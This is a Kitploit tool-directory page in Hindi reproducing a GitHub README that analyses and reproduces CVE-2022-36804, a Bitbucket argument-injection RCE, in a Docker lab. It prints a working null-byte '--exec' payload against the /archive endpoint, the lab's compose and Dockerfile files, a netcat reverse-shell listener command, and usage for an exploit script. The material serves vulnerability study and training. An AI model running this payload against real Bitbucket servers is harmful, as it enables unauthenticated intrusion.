Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-36804-Bitbucket-RCE-Analysis — CVE-2022-36804 (Bitbucket RCE) का पूर्ण-श्रृंखला पुनरुत्पादन। इसमें एक Docker-आधारित प्रयोगशाला, नल-बाइट इंजेक्शन सत्यापन के लिए pspy64 निगरानी, और एक कस्टम Bash शोषण स्क्रिप्ट शामिल है। Assetnote अनुसंधान पर आधारित। | Kitploit
उपकरण/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषणलैब और अभ्यास
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804 (Bitbucket RCE) का पूर्ण-श्रृंखला पुनरुत्पादन। इसमें एक Docker-आधारित प्रयोगशाला, नल-बाइट इंजेक्शन सत्यापन के लिए pspy64 निगरानी, और एक कस्टम Bash शोषण स्क्रिप्ट शामिल है। Assetnote अनुसंधान पर आधारित।

रिपॉजिटरी देखें
167 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-36804: Bitbucket रिमोट कमांड निष्पादन (RCE)

नल-बाइट आर्गुमेंट इंजेक्शन का तकनीकी विश्लेषण और प्रयोगशाला शोषण

भेद्यता सारांश

CVE-2022-36804 Atlassian Bitbucket सर्वर और डेटा सेंटर के REST API के भीतर एक उच्च/गंभीर आर्गुमेंट इंजेक्शन भेद्यता है।

जबकि आधिकारिक NVD नेशनल भेद्यता डेटाबेस आधार स्कोर आवश्यक पठन विशेषाधिकारों (PR:L) की धारणा पर 8.8 (उच्च) है, यह विश्लेषण इसे 9.8 (गंभीर) दोष (PR:N) मानता है। यदि किसी लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है—जो एक सामान्य कॉन्फ़िगरेशन है—तो शोषण वेक्टर पूरी तरह से प्री-ऑथेंटिकेटेड बन जाता है।

यह रिपॉजिटरी Assetnote द्वारा प्रकाशित तकनीकी शोध पर सीधे आधारित, शोषण के पूर्ण-श्रृंखला प्रयोगशाला पुनरुत्पादन का दस्तावेजीकरण करती है।

विश्लेषण में पर्यावरण ऑर्केस्ट्रेशन और सुरक्षा फ़िल्टर बाईपास से लेकर इंटरैक्टिव रिवर्स शेल प्राप्त करने तक के संक्रमण का विवरण दिया गया है। मूल खोज में उल्लिखित अनुसार, यह दोष रिमोट कमांड निष्पादन (RCE) की अनुमति देता है, जिसका शोषण प्री-ऑथेंटिकेशन पर किया जा सकता है यदि लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है।

तकनीकी गहराई: नल-बाइट असंगति

यह भेद्यता जावा एप्लिकेशन रनटाइम और लिनक्स ऑपरेटिंग सिस्टम के बीच "सैनिटाइज़ेशन प्रतिबाधा असंगति" में निहित है।

जैसा कि Assetnote के शोध में उजागर किया गया है, Bitbucket Git कमांड बनाने और निष्पादित करने के लिए NuProcess लाइब्रेरी का उपयोग करता है। जब कोई उपयोगकर्ता /archive एंडपॉइंट पर prefix पैरामीटर प्रदान करता है, तो Bitbucket तर्क सूची को OS को पास करने से पहले नल कैरेक्टर (%00) को हटाने में विफल रहता है।

  • जावा का दृष्टिकोण: इनपुट को एक एकल स्ट्रिंग ऑब्जेक्ट के रूप में मानता है जिसमें नल बाइट सुरक्षित रूप से समाहित है।
  • लिनक्स कर्नेल का दृष्टिकोण: C में लिखा होने के कारण, कर्नेल स्ट्रिंग को समाप्त करने के लिए नल कैरेक्टर का उपयोग करता है। जब execve() कमांड को संसाधित करता है, तो यह स्ट्रिंग को %00 पर काट देता है। चूँकि NuProcess डेटा को इस प्रकार पास करता है, OS नल बाइट के बाद आने वाली हर चीज़ को एक बिल्कुल नए कमांड-लाइन तर्क के रूप में मानता है।

--exec=... इंजेक्ट करके, एक हमलावर इच्छित --prefix फ़्लैग से बाहर निकल जाता है और git archive प्रक्रिया को एक मनमाना बाइनरी निष्पादित करने के लिए मजबूर करता है, जिससे रिमोट कमांड निष्पादन (RCE) होता है।

विस्तार करने के लिए क्लिक करें: पेलोड एनाटॉमी और "एरे शिफ्ट"

यह समझने के लिए कि शोषण एक साधारण URL पैरामीटर से OS-स्तरीय कमांड में कैसे संक्रमण करता है, हमें पेलोड की संरचना को विच्छेदित करना होगा और "एरे शिफ्ट" का निरीक्षण करना होगा।

1. पेलोड विश्लेषण

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

घटकउद्देश्यतकनीकी भूमिका
prefix=xआवश्यकताgit archive को एक प्रीफ़िक्स चाहिए; x एक प्लेसहोल्डर के रूप में कार्य करता है।
%00चाकूनल-बाइट। जावा इसे पास करता है, लेकिन C-आधारित लिनक्स कर्नेल यहाँ स्ट्रिंग समाप्त करता है।
--exec=...RCE ट्रिगरखतरनाक फ़्लैग। बाहरी प्रोग्राम निष्पादित करने के लिए Git की अंतर्निहित सुविधा का दुरुपयोग करता है।
touch ...कार्रवाईनिष्पादित की जाने वाली कमांड। RCE सत्यापित करने के लिए सुरक्षित PoC।
--remote=...कूड़ेदानBitbucket द्वारा जोड़े गए कमिट ID को एक वैध तर्क के रूप में उपभोग करता है, यह सुनिश्चित करता है कि कमांड बिना सिंटैक्स त्रुटियों के स्वच्छ रूप से निष्पादित हो।

2. "एरे शिफ्ट" का विज़ुअलाइज़ेशन

यह भेद्यता के मूल को दर्शाता है: कैसे डेटा (एक निर्देशिका प्रीफ़िक्स) को निर्देश (एक कमांड फ़्लैग) में रूपांतरित किया जाता है।

जावा का निष्पादन संदर्भ (प्रारंभिक अवस्था):

जावा तीसरे तर्क के रूप में एक एकल, लंबी स्ट्रिंग देखता है।

[
  "git",                                      // Index 0
  "archive",                                  // Index 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Index 2: The single, polluted string
  "1a2b3c4d..."                               // Index 3: Appended by Bitbucket
]

लिनक्स कर्नेल निष्पादन (शोषित अवस्था):

कर्नेल का execve() सिस्कॉल प्रत्येक नल-बाइट (\0) पर स्ट्रिंग को विभाजित करता है, इंजेक्ट किए गए फ़्लैग को प्रक्रिया के तर्क सरणी में उनके स्वयं के स्टैंडअलोन पदों पर स्थानांतरित करता है।

[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
  "archive",                                  // argv[1]: Subcommand
  "--prefix=x",                               // argv[2]: Terminated early by %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: THE INJECTED FLAG (RCE)
  "--remote=file:///",                        // argv[4]: THE TRASHCAN (Redirects logic)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Consumed by --remote)
]

प्रयोगशाला सेटअप

यथार्थवादी हमले की सतह का अनुकरण करने के लिए, प्रयोगशाला पर्यावरण एक Docker ब्रिज नेटवर्क (hacking_net) के भीतर पृथक दो-कंटेनर आर्किटेक्चर का उपयोग करता है। यह सेटअप सुनिश्चित करता है कि शोषण और निगरानी होस्ट सिस्टम को प्रभावित किए बिना नियंत्रित वातावरण में की जा सके।

आर्किटेक्चर घटक

  • पीड़ित नोड: Atlassian Bitbucket सर्वर संस्करण 7.17.1 चलाता है। कंटेनर को जानबूझकर bitbucket-victim नाम दिया गया है। यह Apache Tomcat के RFC 7230 प्रवर्तन के साथ अनुपालन सुनिश्चित करने के लिए किए गए एक महत्वपूर्ण डिज़ाइन परिशोधन को दर्शाता है। अंडरस्कोर के बजाय हाइफ़न का उपयोग करके, पर्यावरण पेलोड निष्पादन के दौरान होने वाली "अमान्य कैरेक्टर" 400 त्रुटियों से बचता है—यह एक प्रमुख तकनीकी बाधा है जिसे शोध चरण के दौरान पहचाना और हल किया गया।

  • हमलावर नोड: एक अनुरूपित Kali Linux रोलिंग इमेज। मानक इमेज के विपरीत, यह नोड इस शोषण श्रृंखला के लिए आवश्यक विशिष्ट टूलसेट के साथ पूर्व-प्रावधानित है: रिपॉजिटरी हेरफेर के लिए git, पेलोड वितरण के लिए curl, और रिवर्स शेल कैप्चर करने के लिए netcat-traditional।

docker-compose.yml (Tomcat RFC-अनुरूप संस्करण)
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

डॉकरफ़ाइल (हमलावर नोड)
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

प्रयोगशाला सत्यापन (फास्ट ट्रैक)

यदि आपने ऊपर दिए गए docker-compose.yml का उपयोग करके पर्यावरण को पहले ही प्रावधानित कर लिया है, तो आप भेद्यता को सत्यापित करने और सेकंडों में रिवर्स शेल प्राप्त करने के लिए शामिल exploit.sh स्क्रिप्ट का उपयोग कर सकते हैं।

1. लिसनर तैयार करें

अपने Kali हमलावर नोड (या होस्ट मशीन) पर, शेल को कैप्चर करने के लिए एक netcat लिसनर शुरू करें:

nc.traditional -lvnp 4444

2. शोषण निष्पादित करें

लक्ष्य Bitbucket IP, प्रोजेक्ट/रेपो नाम और अपने लिसनर विवरण प्रदान करके स्क्रिप्ट चलाएँ:

# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
टूल डाउनलोड करें